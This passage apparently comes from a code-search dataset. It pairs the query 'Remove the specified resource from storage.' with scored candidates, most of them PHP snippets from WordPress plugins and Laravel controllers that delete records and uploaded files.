$this->width,\n\t\t\t\t)\n\t\t\t);\n\n\t\t\tacf_render_field_setting(\n\t\t\t\t$field,\n\t\t\t\tarray(\n\t\t\t\t\t'label' => __( 'Embed Size', 'acf' ),\n\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t'name' => 'height',\n\t\t\t\t\t'prepend' => __( 'Height', 'acf' ),\n\t\t\t\t\t'append' => 'px',\n\t\t\t\t\t'placeholder' => $this->height,\n\t\t\t\t\t'_append' => 'width',\n\t\t\t\t)\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "9402431df40d6f8da980f081cbe354df", "score": "0.60400397", "text": "public function setting_page_render () {\n\t\trequire_once( plugin_dir_path( __FILE__ ) . 'includes/wp-google-maps-api-admin-setting.php' );\n\t\tnew WP_Google_Maps_Api_Admin_Setting( $this->text_domain );\n\t}", "title": "" }, { "docid": "a02b9b46eefc1423c0f5f3e6bfafb9a1", "score": "0.60398173", "text": "function wpcf_fields_skype() {\n\n return array(\n 'id' => 'wpcf-skype',\n 'title' => __( 'Skype', 'wpcf' ),\n 'description' => __( 'Skype', 'wpcf' ),\n 'validate' => array(\n 'required' => array(\n 'form-settings' => include( dirname( __FILE__ ) . '/patterns/validate/form-settings/required.php' )\n ),\n 'skype' => array(\n 'form-settings' => include( dirname( __FILE__ ) . '/patterns/validate/form-settings/default.php' )\n ),\n 'maxlength' => array('value' => 32),\n 'minlength' => array('value' => 6)\n ),\n 'font-awesome' => 'skype',\n );\n}", "title": "" }, { "docid": "b52abd88c314ded2080f0eab98c38ae4", "score": "0.6038839", "text": "public function add_cpt_field() {\n global $cpt_helper;\n add_settings_section(\n 'cpt_setting_section', // ID\n __('General Settings', 'cpt-generator'), // Title\n array($this, 'general_section_info'), // Callback\n 'cpt-generator' // Page\n );\n\n add_settings_field(\n 'cpt_post_type', __('Post Type', 'cpt-generator'), array($this, 'cpt_post_type_name'), 'cpt-generator', 'cpt_setting_section'\n );\n\n add_settings_field(\n 'cpt_labels_name', __('Label Name', 'cpt-generator'), array($cpt_helper, 'display_textbox_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_labels_name\", \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_labels_singular_name', __('Singular Name', 'cpt-generator'), array($cpt_helper, 'display_textbox_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_labels_singular_name\", \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_description', __('Description', 'cpt-generator'), array($this, 'cpt_description_callback'), 'cpt-generator', 'cpt_setting_section'\n );\n\n add_settings_field(\n 'cpt_public', __('Public', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_public\", \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_exclude_from_search', __('Exclude From Search', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_exclude_from_search\", \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_publicly_queryable', __('Publically Queryable', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_publicly_queryable\", \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_show_ui', __('Show UI', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_show_ui\", \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_show_in_nav_menus', __('Show In Nav Menu', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_show_in_nav_menus\", \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_show_in_menu', __('Show In Menu', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_show_in_menu\", \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_show_in_admin_bar', __('Show In Admin Bar', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_show_in_admin_bar\", \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_menu_position', __('Menu Position', 'cpt-generator'), array($this, 'cpt_menu_position_callback'), 'cpt-generator', 'cpt_setting_section'\n );\n\n add_settings_field(\n 'cpt_hierarchical', __('Hierarchical', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_hierarchical\", \"editval\" => $this->editval)\n );\n\n $taxonomies = array(\n array(\"field_value\" => \"category\", \"field_label\" => \"Category\", \"field_checked\" => \"\"),\n array(\"field_value\" => \"post_tag\", \"field_label\" => \"Tag\", \"field_checked\" => \"\"),\n );\n\n add_settings_field(\n 'cpt_taxonomies', __('Built in Taxonomies', 'cpt-generator'), array($cpt_helper, 'display_checkbox_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_taxonomies\", \"field_values\" => $taxonomies, \"editval\" => $this->editval)\n );\n\n add_settings_field(\n 'cpt_has_archive', __('Has Archive', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_has_archive\", \"editval\" => $this->editval)\n );\n\n $supports = array(\n array(\"field_value\" => \"title\", \"field_label\" => \"Title\", \"field_checked\" => \"checked\"),\n array(\"field_value\" => \"editor\", \"field_label\" => \"Editor\", \"field_checked\" => \"checked\"),\n array(\"field_value\" => \"author\", \"field_label\" => \"Author\", \"field_checked\" => \"checked\"),\n array(\"field_value\" => \"thumbnail\", \"field_label\" => \"Thumbnail\", \"field_checked\" => \"\"),\n array(\"field_value\" => \"excerpt\", \"field_label\" => \"Excerpt\", \"field_checked\" => \"\"),\n array(\"field_value\" => \"trackbacks\", \"field_label\" => \"Trackbacks\", \"field_checked\" => \"\"),\n array(\"field_value\" => \"custom-fields\", \"field_label\" => \"Custom Fields\", \"field_checked\" => \"\"),\n array(\"field_value\" => \"comments\", \"field_label\" => \"Comments\", \"field_checked\" => \"\"),\n array(\"field_value\" => \"revisions\", \"field_label\" => \"Revisions\", \"field_checked\" => \"\"),\n array(\"field_value\" => \"page-attributes\", \"field_label\" => \"Page Attributes\", \"field_checked\" => \"\"),\n array(\"field_value\" => \"post-formats\", \"field_label\" => \"Post Formats\", \"field_checked\" => \"\"),\n );\n\n add_settings_field(\n 'cpt_supports', __('Supports Type', 'cpt-generator'), array($cpt_helper, 'display_checkbox_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_supports\", \"field_values\" => $supports, \"editval\" => $this->editval)\n );\n\n\n add_settings_field(\n 'cpt_menu_icon', __('Menu Icon', 'cpt-generator'), array($this, 'cpt_menu_icon_callback'), 'cpt-generator', 'cpt_setting_section'\n );\n\n add_settings_field(\n 'cpt_query_var', __('Query Var', 'cpt-generator'), array($cpt_helper, 'display_switch_option'), 'cpt-generator', 'cpt_setting_section', array(\"field_name\" => \"cpt_query_var\", \"editval\" => $this->editval)\n );\n }", "title": "" }, { "docid": "3d85f19805ca1f132bf8752f3c12180f", "score": "0.6036574", "text": "static public function admin_register_scripts_styles()\n {\n $options = get_option( sc_WordPressFileMonitorPlus::$settings_option_field ); // get settings\n\n // Register plugin settings page JS\n wp_register_script( 'wordpress_file_monitor_plus_js_function', plugins_url( 'js/function.js', SC_WPFMP_PLUGIN_FILE ), array( 'jquery' ), '1.2', true );\n\n // Don't load thickbox if not needed. Must have a warning to show\n if( 1 != $options['is_admin_alert'] || 1 != $options['display_admin_alert'] || ! current_user_can( SC_WPFMP_ADMIN_ALERT_PERMISSION ) )\n return;\n\n // add_thickbox() is a WordPress function\n add_action( \"admin_enqueue_scripts\", 'add_thickbox' );\n }", "title": "" }, { "docid": "cde67129c205317bda9eed3bdeb93dbe", "score": "0.6036389", "text": "function add_color_picker()\n {\n\n wp_enqueue_style('wp-color-picker');\n wp_enqueue_script('wp-color-picker');\n\n }", "title": "" }, { "docid": "ae865b9396764eb3150609357ff67663", "score": "0.6035557", "text": "public function __construct()\n\t{\n\n\t\t$Functions = new Functions();\n\t\t$this->theme_defaults = $Functions->get_theme_defaults();\n\t\t/* Initialize the class that manages the CallBacks*/\n\t\t$this->callbacks = new Callbacks();\n\t\t/* add Details */\n\n\t\t/* Settings Details */\n\t\t$i = 0;\n\t\t$SettingsList[$i]['index'] = 'font-color';\n\t\t$SettingsList[$i]['type'] = 'option';\n\t\t$SettingsList[$i]['sanitize_callback'] = 'sanitize_hex_color';\n\t\t$j = 0;\n\t\t$settingsId = $SettingsList[$i]['index'];\n\t\t$ControlsList[$settingsId][$j]['label'] = 'Font Color';\n\t\t$ControlsList[$settingsId][$j]['type'] = 'WP_Customize_Color_Control';\n\t\t$ControlsList[$settingsId][$j]['choices'] = 'wpTheme_true_false';\n\t\t$ControlsList[$settingsId][$j]['sanitize_callback'] = 'sanitize_hex_color';\n /*-----------------------------------------------------------------*/\n $i++;\n $SettingsList[$i]['index'] = 'link';\n\t\t$SettingsList[$i]['type'] = 'option';\n\t\t$SettingsList[$i]['sanitize_callback'] = 'sanitize_hex_color';\n $j = 0;\n\t\t$settingsId = $SettingsList[$i]['index'];\n\t\t$ControlsList[$settingsId][$j]['label'] = 'Link Color';\n\t\t$ControlsList[$settingsId][$j]['type'] = 'WP_Customize_Color_Control';\n\t\t$ControlsList[$settingsId][$j]['choices'] = 'wpTheme_true_false';\n\t\t$ControlsList[$settingsId][$j]['sanitize_callback'] = 'sanitize_hex_color';\n /*-----------------------------------------------------------------*/\n $i++;\n $SettingsList[$i]['index'] = 'hover';\n\t\t$SettingsList[$i]['type'] = 'option';\n\t\t$SettingsList[$i]['sanitize_callback'] = 'sanitize_hex_color';\n $j = 0;\n\t\t$settingsId = $SettingsList[$i]['index'];\n\t\t$ControlsList[$settingsId][$j]['label'] = 'Hover Color';\n\t\t$ControlsList[$settingsId][$j]['type'] = 'WP_Customize_Color_Control';\n\t\t$ControlsList[$settingsId][$j]['choices'] = 'wpTheme_true_false';\n\t\t$ControlsList[$settingsId][$j]['sanitize_callback'] = 'sanitize_hex_color';\n /*-----------------------------------------------------------------*/\n $i++;\n $SettingsList[$i]['index'] = 'navbar-color';\n\t\t$SettingsList[$i]['type'] = 'option';\n\t\t$SettingsList[$i]['sanitize_callback'] = 'sanitize_hex_color';\n $j = 0;\n\t\t$settingsId = $SettingsList[$i]['index'];\n\t\t$ControlsList[$settingsId][$j]['label'] = 'Navbar (top) Background Color';\n\t\t$ControlsList[$settingsId][$j]['type'] = 'WP_Customize_Color_Control';\n\t\t$ControlsList[$settingsId][$j]['choices'] = 'wpTheme_true_false';\n\t\t$ControlsList[$settingsId][$j]['sanitize_callback'] = 'sanitize_hex_color';\n /* Section Details */\n\t\t$this->SetSectionDetails( 'Colors' , 40 );\n\t\t$this->SetSettingDetails( $SettingsList );\n\t\tforeach ($SettingsList as $i => $Setings)\n\t\t{\n\t\t\t$settingsId = $Setings['index'];\n\t\t\t$this->setControlDetails ( $settingsId , $ControlsList[$settingsId] );\n\t\t}\n }", "title": "" }, { "docid": "3b87379296d1e538d2dac3dd4003ca35", "score": "0.6032358", "text": "function lf_free_membership_admin_init()\r\n{\r\n\twp_register_style( 'lf_free_membership_css', plugins_url('lf-free-membership.css', __FILE__) );\r\n}", "title": "" }, { "docid": "492be1d187e04607e84ef1f0c63948c2", "score": "0.6031746", "text": "function pooseum_options() {\n\t$fields = array(\n\t\tarray(\n\t\t\t'id' => 'css_dev_mode',\n\t\t\t'label' => 'CSS dev mode',\n\t\t\t'description' => __( 'Check this if you want to use your own compiler during development in\n\t\t\torder to display source maps. Uncheck this in production.', CHILD_TEXT_DOMAIN ),\n\t\t\t'type' => 'checkbox',\n\t\t\t'default' => false\n\t\t),\n\t);\n\n\tbeans_register_options( $fields, 'beans_settings', 'options', array( 'title' => 'Purple Prodigy Child Theme Options' ) );\n}", "title": "" }, { "docid": "5cf63cb630404afeddb83ebfdd8a1429", "score": "0.60242516", "text": "public function settings_init() {\n\t\t// register a new setting for \"prod_images\" page\n\t\tregister_setting( 'prod_images', 'prod_images_options' );\n\t\t// register a new section in the \"prod_images\" page\n\t\tadd_settings_section(\n\t\t\t'prod_images_dev_section',\n\t\t\t__( 'Get Production Images Locally.', 'prod_images' ),\n\t\t\tarray( $this, 'dev_callback' ),\n\t\t\t'prod_images'\n\t\t);\n\t\t// register a new field in the \"prod_images_dev_section\" section, inside the \"prod_images\" page\n\t\tadd_settings_field(\n\t\t\t'prod_images_field', // as of WP 4.6 this value is used only internally\n\t\t\t// use $args' label_for to populate the id inside the callback\n\t\t\t__( 'URLS', 'prod_images' ),\n\t\t\tarray( $this, 'user_input_callback' ),\n\t\t\t'prod_images',\n\t\t\t'prod_images_dev_section',\n\t\t\t[\n\t\t\t\t'liveurl' => 'prod_url',\n\t\t\t\t'localurl' => 'local_url',\n\t\t\t\t'custom_data' => 'custom',\n\t\t\t]\n\t\t);\n\t}", "title": "" }, { "docid": "faedccf25fea559df95852da4b2bb804", "score": "0.60239565", "text": "public function theme_options_init() {\n\t\tregister_setting( 'citris_options', 'citris_theme_options', array( $this, 'theme_options_validate' ) );\n\n\t\t// Register our settings field groups\n\t\tadd_settings_section( 'misc', 'Miscellaneous', '', 'theme_options' );\n\n\t\t// Register our individual settings fields\n\t\t$options_fields = $this->options_fields();\n\t\tforeach ( $options_fields as $field ) {\n\t\t\tadd_settings_field( $field['id'], $field['label'], $field['callback'], $field['page'], $field['section'], array(\n\t\t\t\t'id'\t=> $field['id'],\n\t\t\t\t'name'\t=> 'citris_theme_options[' . $field['id'] . ']',\n\t\t\t\t'desc'\t=> $field['desc'],\n\t\t\t) );\n\t\t}\n\t}", "title": "" } ]
fba5cfefabb2b65932d6fdc28af220e4
Remove the specified resource from storage.
[ { "docid": "cb989117157bd193348b2366ce98f99a", "score": "0.0", "text": "public function destroy($id)\n {\n $room = Room::find($id);\n\n $room->delete(); \n\n return redirect('/rooms')->with('success', 'Room Removed'); \n }", "title": "" } ]
[ { "docid": "9e3888bdb250b09daf6881b2c953ce96", "score": "0.7387755", "text": "protected function removeImageFromStorage (HCResources $resource)\n {\n $path = $this->uploadPath . $resource->id;\n\n if (Storage::has ($path)) {\n Storage::delete ($path);\n }\n }", "title": "" }, { "docid": "67120cc52c09f1239f92f34fd173437e", "score": "0.7333458", "text": "function remove($resource)\n {\n }", "title": "" }, { "docid": "3f1322e69a1884d9745c5ef5f1590e48", "score": "0.7141337", "text": "public function removeResource($resourceName);", "title": "" }, { "docid": "e8f55d4cc56465e75499a86915b35d9b", "score": "0.70428175", "text": "public function delete($resource);", "title": "" }, { "docid": "e390bf434f5cce46402b827d582cdcbe", "score": "0.7039089", "text": "public function removeResource(Resource $resource): void\n {\n if (!isset($this->resources[$resource->getUri()])) {\n return;\n }\n unset($this->resources[$resource->getUri()]);\n }", "title": "" }, { "docid": "96aa9ea6689a46a9441f009aa879d999", "score": "0.6885214", "text": "public function removeResource($resource)\n {\n // Remove the Saved Resource\n $join = new User_resource();\n $join->user_id = $this->id;\n $join->resource_id = $resource->id;\n $join->delete();\n\n // Remove the Tags from the resource\n $join = new Resource_tags();\n $join->user_id = $this->id;\n $join->resource_id = $resource->id;\n $join->delete();\n }", "title": "" }, { "docid": "d522def58731edf5dda07c4a8e3cb839", "score": "0.6839906", "text": "public function remove(IUser $user, ?IResource $resource): void;", "title": "" }, { "docid": "5b18f4f0f245d93e1d14486ac0afbbc7", "score": "0.6735704", "text": "public function remove(ResourceInterface $resource)\n {\n $this->_em->remove($resource);\n $this->_em->flush($resource);\n }", "title": "" }, { "docid": "9d416bb966c467169e3ae97e3c181868", "score": "0.63677", "text": "abstract function deleteResource(int $id);", "title": "" }, { "docid": "b9f567113f04c7ad2db0fe760a0a6fdc", "score": "0.63184243", "text": "public function unregisterResource()\n {\n Zend_Registry::get('acl')->remove($this);\n }", "title": "" }, { "docid": "13034525cd05a6a81ce72172a28a6888", "score": "0.6213014", "text": "public function delete()\n {\n $request = new StorageDeleteRequest();\n $request->setBucketName($this->bucket->getName());\n $request->setKey($this->key);\n\n [$response, $status] = $this->storage->_baseStorageClient->Delete($request)->wait();\n Utils::okOrThrow($status);\n }", "title": "" }, { "docid": "ae13b12a81ef5a04c54c2ae2a1fbfc6f", "score": "0.61720115", "text": "public function unsetStorageId();", "title": "" }, { "docid": "251c69886b6b7be9441be8fe7c79bf9f", "score": "0.6166032", "text": "public function destroy($id, $resource='typeProduct')\n {\n //\n }", "title": "" }, { "docid": "d3de183319816e68e04b4ba5ab69a652", "score": "0.6125602", "text": "public function wipeStorage(): void;", "title": "" }, { "docid": "ac2ff7081643a335753979289127eb7f", "score": "0.6098791", "text": "function destroy( $resource ){\n\n\n\n\n\n \n\n}", "title": "" }, { "docid": "7f77f3b95410a985ed02a0994980a5dd", "score": "0.6076961", "text": "public function deleteResource(AbstractNode $resource) : void;", "title": "" }, { "docid": "c1246d964fe6c011b7e9a2e92e2bce69", "score": "0.60498166", "text": "public function destroy($id)\n\t{\n\t\t//\n\t\t$file = \\App\\Resource::find($id)->image;\n\t\tunlink('pictures/' . $file);\n\t\t\\App\\Resource::destroy($id);\n\t\treturn Redirect::to('/');\n\t}", "title": "" }, { "docid": "e9a19d00feed0894857d58eb3e4aea34", "score": "0.6019356", "text": "protected function dropResource()\n {\n $this->dropFile('Resource', $this->getResourcePath());\n }", "title": "" }, { "docid": "6633698916692181c267e327ea427da6", "score": "0.5991417", "text": "public function rm( $path );", "title": "" }, { "docid": "6dd2ae009f2219fb531720e25a26531d", "score": "0.5974692", "text": "public function remove() {\n\t\t$this->storage->rmdir($this->path);\n\t\t$this->user->triggerChange('avatar');\n\t}", "title": "" }, { "docid": "4f634fd6a5cf444037bf2efc93dadfeb", "score": "0.5945026", "text": "public function clear()\n {\n \tunlink($this->_storage);\n }", "title": "" }, { "docid": "3561c0d84ad15925523eb674be4bee6d", "score": "0.59337646", "text": "public function remove($path);", "title": "" }, { "docid": "15a853ed70c99f4514a71c5e2d0b94aa", "score": "0.59332573", "text": "public function remove($resource)\n {\n try {\n $resourceId = $this->get($resource)->getResourceId();\n } catch (Zend_Acl_Exception $e) {\n require_once 'Zend/Acl/Exception.php';\n throw new Zend_Acl_Exception($e->getMessage(), $e->getCode(), $e);\n }\n\n $resourcesRemoved = [$resourceId];\n if (null !== ($resourceParent = $this->_resources[$resourceId]['parent'])) {\n unset($this->_resources[$resourceParent->getResourceId()]['children'][$resourceId]);\n }\n foreach ($this->_resources[$resourceId]['children'] as $childId => $child) {\n $this->remove($childId);\n $resourcesRemoved[] = $childId;\n }\n\n foreach ($resourcesRemoved as $resourceIdRemoved) {\n foreach ($this->_rules['byResourceId'] as $resourceIdCurrent => $rules) {\n if ($resourceIdRemoved === $resourceIdCurrent) {\n unset($this->_rules['byResourceId'][$resourceIdCurrent]);\n }\n }\n }\n\n unset($this->_resources[$resourceId]);\n\n return $this;\n }", "title": "" }, { "docid": "b8b5d5ca606833c889a1285814fba6f4", "score": "0.5917159", "text": "public function unlinkResource() {\n\t\t$this->resource=null;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "1f9a1be4bb584e042a8ad8d688ac9917", "score": "0.59067374", "text": "public function delete() {\n if (file_exists($this->src)) unlink($this->src);\n }", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "d03fcfa49d2ade09cffc8d88d701076d", "score": "0.58893216", "text": "public function dropStorageFromName($storageName);", "title": "" }, { "docid": "4b22b7ee3a57517ec9e3b86bea1578c9", "score": "0.5856808", "text": "public function clearStorage();", "title": "" }, { "docid": "84e424b359d9d6f2b49045a0bf4df9de", "score": "0.58229584", "text": "public function destroy($id)\n {\n $productImage = ProductImage::find($id);\n $productImage->delete();\n $fullPath = str_replace(\"storage\",\"/public\",$productImage->path);\n Storage::delete($fullPath);\n return $productImage;\n }", "title": "" }, { "docid": "2d75567656921f9588d0f6a09e30ea8c", "score": "0.5816774", "text": "public function testItShouldRemoveSpecifiedResource()\n {\n $this->json['data'] = [];\n $this->json('DELETE', $this->base_url . $this->getId(), [], $this->getHeaders())\n ->assertStatus(200)\n ->assertJsonStructure($this->json);\n }", "title": "" }, { "docid": "633ae266a2f875f0726e79f6358f15aa", "score": "0.58142436", "text": "public function remove(string $key) {\n $this->storage->remove($key);\n }", "title": "" }, { "docid": "e53013c127607b9b9763311d1d78cf4b", "score": "0.58067673", "text": "public function detach()\n {\n if (!isset($this->resource)) {\n return null;\n }\n $resource = $this->resource;\n unset($this->resource);\n $this->size = null;\n $this->uri = null;\n $this->readable = false;\n $this->seekable = false;\n $this->writable = false;\n return $resource;\n }", "title": "" }, { "docid": "567e641bf24d438f1c69a4a617fddcb1", "score": "0.57947505", "text": "function delete($resource, $headers = array())\n {\n $result = $this->client->delete($this->build_url($resource), [\n 'headers' => array_merge([\n 'Authorization' => $this->getBearer()\n ], $headers)\n ]);\n return $result;\n }", "title": "" }, { "docid": "1dee477f6e099b050eb54e8469548631", "score": "0.57649726", "text": "public function destroy($id)\n {\n $slider=Slider::find($id);\n if($slider->image)\n {\n if(Storage::exists('public/slider/' . $slider->image)){\n $delete= Storage::delete('/public/slider/' . $slider->image); \n }\n }\n $slider->delete();\n alert::success('slider Deleted Successfully');\n return redirect()->back();\n }", "title": "" }, { "docid": "4d84ab18e7e3c7bf3662c486977fb999", "score": "0.57371354", "text": "public function delete() {\n return $this->storage->delete($this->getId());\n }", "title": "" }, { "docid": "aa96241e32a2910707191042a72208b3", "score": "0.5733017", "text": "public function destroy(Resource $resource): JsonResponse\n {\n Storage::disk('article')->delete($resource->url);\n $resource->delete();\n return $this->api_success([\n 'data' => new ResourceArticleResource($resource),\n 'message' => __('pages.responses.deleted'),\n 'code' => 200\n ]);\n }", "title": "" }, { "docid": "cbac86afaa4d65131418099d416a05f8", "score": "0.5731129", "text": "public function destroy($id)\n {\n $resource = Resource::find($id);\n\n if ($fileName = $resource->book->name) {\n $file = public_path() . '/resources/' . $fileName;\n unlink($file);\n }\n\n $resource->delete();\n\n $message = 'El recurso literario \"' . $resource->title . '\" ha sido eliminado.';\n $class = 'danger';\n\n Session::flash('message', $message);\n Session::flash('class', $class);\n\n return redirect()->route('admin.resources.index');\n }", "title": "" }, { "docid": "30d12407d208c7245c67fe3e3c0e6844", "score": "0.5715374", "text": "public function remove (object $entity);", "title": "" }, { "docid": "148f851e6e394ade1c2f9c6b118d123d", "score": "0.5697347", "text": "public function destroy(Resource $resource)\n {\n $resource->delete();\n return response()->json(['status' => 'ok']);\n }", "title": "" }, { "docid": "dfafd8026a650244c991d50f54215453", "score": "0.569202", "text": "public function free():void { unlink($this->getfilename()); }", "title": "" }, { "docid": "5b249643a990832f9ecd53f247c87bb4", "score": "0.5689915", "text": "public function destroy($id)\n {\n $find = DB::table('suppliers')->where('id',$id)->first();\n $photo = $find->photo;\n\n if($photo){\n unlink($photo);\n DB::table('suppliers')->where('id',$id)->delete();\n }else{\n DB::table('suppliers')->where('id',$id)->delete();\n }\n }", "title": "" }, { "docid": "c0f1056876f778bb47bd815edbae240a", "score": "0.5686687", "text": "public function destroy($id)\n {\n //\n\n $query = Picture::find($id);\n $collections = collect($query);\n $filename = $collections->get('title');\n // default is config/filesystems.php\n $contents = Storage::get($filename);\n Storage::delete($filename);\n Picture::destroy($id);\n \n return redirect('picture');\n //return $contents;\n \n }", "title": "" }, { "docid": "b8c78cd19161cf7966e7567365e984a3", "score": "0.56849074", "text": "public function remove(): void;", "title": "" }, { "docid": "bba07c958ce0344975d091ce9890e64a", "score": "0.5684331", "text": "public function delete($path);", "title": "" }, { "docid": "bba07c958ce0344975d091ce9890e64a", "score": "0.5684331", "text": "public function delete($path);", "title": "" }, { "docid": "bf109080b5ee3a89d2c795999303aee7", "score": "0.5680265", "text": "public function delete(){\n if($this->removable) {\n $directory = $this->getRootDir();\n\n App::fs()->remove($directory);\n }\n }", "title": "" }, { "docid": "3b5ab38f0f5c2e97d3b02bce08803b25", "score": "0.56787795", "text": "public function destroy($id)\n {\n \n $imageUpload = Image::findOrfail($id);\n\n File::delete([\n public_path(('/images/').$imageUpload->imageName),\n ]);\n $imageUpload->delete();\n }", "title": "" }, { "docid": "63bd4ba9d20687d38d658987b149d5fb", "score": "0.5676478", "text": "public function deleteResource(\n $uri = \"\",\n $headers = []\n );", "title": "" }, { "docid": "9821f26046d4f47083ca51bd2deff710", "score": "0.5674362", "text": "public function destroy($id)\n {\n //\n $item = post::find($id);\n \n$item->tags()->detach();\n $image_path = $item->file; // the value is : localhost/project/image/filename.format\n \n //Image::destroy($image_path);\n \n $item->delete();\n return redirect('post');\n }", "title": "" }, { "docid": "3d074a3589196f3e2c63d1b79c3a54f2", "score": "0.5669239", "text": "public function destroy()\n {\n $file = pathinfo(request()->getContent());\n $storagePath = $this->baseStoragePath();\n $path = \"{$storagePath}/{$file['basename']}\";\n\n $fileDeleted = Storage::disk(config('canvas.storage_disk'))->delete($path);\n\n if ($fileDeleted) {\n return response()->json([], 204);\n }\n }", "title": "" }, { "docid": "8bbd28cf62ed375a2f7518342e1d75ae", "score": "0.56680655", "text": "public function removeFile();", "title": "" }, { "docid": "3819490d97e5dfe8f2ffd81ae03e6e53", "score": "0.56674856", "text": "public function remove(ReadModelInterface $element);", "title": "" }, { "docid": "b182edae2a719de4edc919c7a7b5885e", "score": "0.5663417", "text": "public function destroy($id)\n {\n\n $post = Roler::findOrFail($id);\n\n $path=public_path('/storage/uploads/');\n if (isset($post->image)) {\n $oldname=$post->image;\n File::delete($path.''.$oldname);\n }\n\n if (Roler::where('id', $id)->delete()) {\n\n return redirect()->back()->with('success', 'Record deleted successfully');\n\n }\n \n return redirect()->back();\n\n }", "title": "" }, { "docid": "2d475aa3098e33e6020ec88b30a03b25", "score": "0.5662905", "text": "public function purgeAsset($asset);", "title": "" }, { "docid": "84ffd5d41241886a42efaaa6c4cb6c45", "score": "0.5658867", "text": "public function delete()\n {\n self::remove($this->key);\n $this->key = null;\n $this->value = null;\n }", "title": "" }, { "docid": "a81365633fd5b106741f1068f03a568a", "score": "0.5654999", "text": "public function remove(object $entity): void;", "title": "" }, { "docid": "dc84ba400b70ef909d87e4a92424f6ac", "score": "0.5648853", "text": "public function destroy($id)\n {\n $album = Album::find($id);\n if($album==null){\n return reidrect('/portfolio')->with('error','this portfolio does not exist');\n }else{\n if(Storage::delete('public/album_covers/'.$album->cover_image)){\n $album->delete();\n return redirect('/portfolio')->with('success','Album removed');\n }\n }\n}", "title": "" }, { "docid": "e24a8da2185cf275580016315ac8c0fe", "score": "0.5646982", "text": "public abstract function remove();", "title": "" }, { "docid": "7257252b8ba3d014ab6c945b9b1f8774", "score": "0.5646248", "text": "public function destroy($id)\n {\n\n $slider = Slider::whereId($id)->first();\n $image = $slider->slider_image;\n $path = 'public/slider_images/'; \n Storage::delete( $path . $image); \n \n $data = Slider::findOrFail($id);\n $data->delete();\n\n Session::flash('success', 'Slider deleted successfully..');\n return redirect()->route('all.slider');\n }", "title": "" }, { "docid": "884fba4384b6fac636fcb5fd3a0b8119", "score": "0.56440735", "text": "public function deletePhoto($resource, $id)\n {\n if (($resource === 'user') || ($resource === 'group') || ($resource === 'memo')) {\n\n //Validate Model is valid and return valid response\n list($param, $model) = $this->validateModelIsValid($resource, $id);\n //Get Image Name\n $image = $model->img_url;\n\n //Delete Avatar and Thumbnail\n if ($image != null) {\n Storage::delete(\"/$param/avatars/thumbnails/$image\");\n Storage::delete(\"/$param/avatars/$image\");\n }\n //Update Profile Photo Field To Null\n $model->img_url = null;\n //Save in Database\n $model->save();\n //Return Response\n return response()->json($model, 202);\n }\n\n return response('Invalid request', 400);\n\n }", "title": "" }, { "docid": "ff85d8135b960df73371ee3703e738a4", "score": "0.5643097", "text": "public function destroy($id)\n {\n $file_name = DB::table(\"research\")->where('id',$id)->value('research_image');\n unlink(public_path(\"front/assets/images/what-we-do/research/\".$file_name)); \n DB::table(\"research\")->where('id',$id)->delete();\n return redirect()->route('all-research')->with('msg','Research deleted successfully with the image');\n }", "title": "" }, { "docid": "684caecb3cebeb517274f1dbe758544f", "score": "0.5639566", "text": "abstract public function remove($scope = null, $pref = null);", "title": "" }, { "docid": "4dfae537943a63cbddf6151c77a88821", "score": "0.5636697", "text": "public function destroy($id)\n { \n $products = Product::findOrFail($id);\n // $delete = $products->slug;\n if($products->slug) {\n \\File::delete( public_path('storage/'.$products->slug ) );\n }\n \n // File::delete(public_path(\"storage/\"), $delete);\n Product::destroy($id);\n return redirect()->route('product-list.index')->with('success','Product Destory Successfully !!!');\n\n }", "title": "" }, { "docid": "f12fb388a946ae58a0b65aa86a9ca9f5", "score": "0.56333244", "text": "public function delete(string $path);", "title": "" }, { "docid": "3cfb84429aef8127ecc19fa5934511fe", "score": "0.56167203", "text": "public function deleteTagging($resource)\n {\n $taggingList = 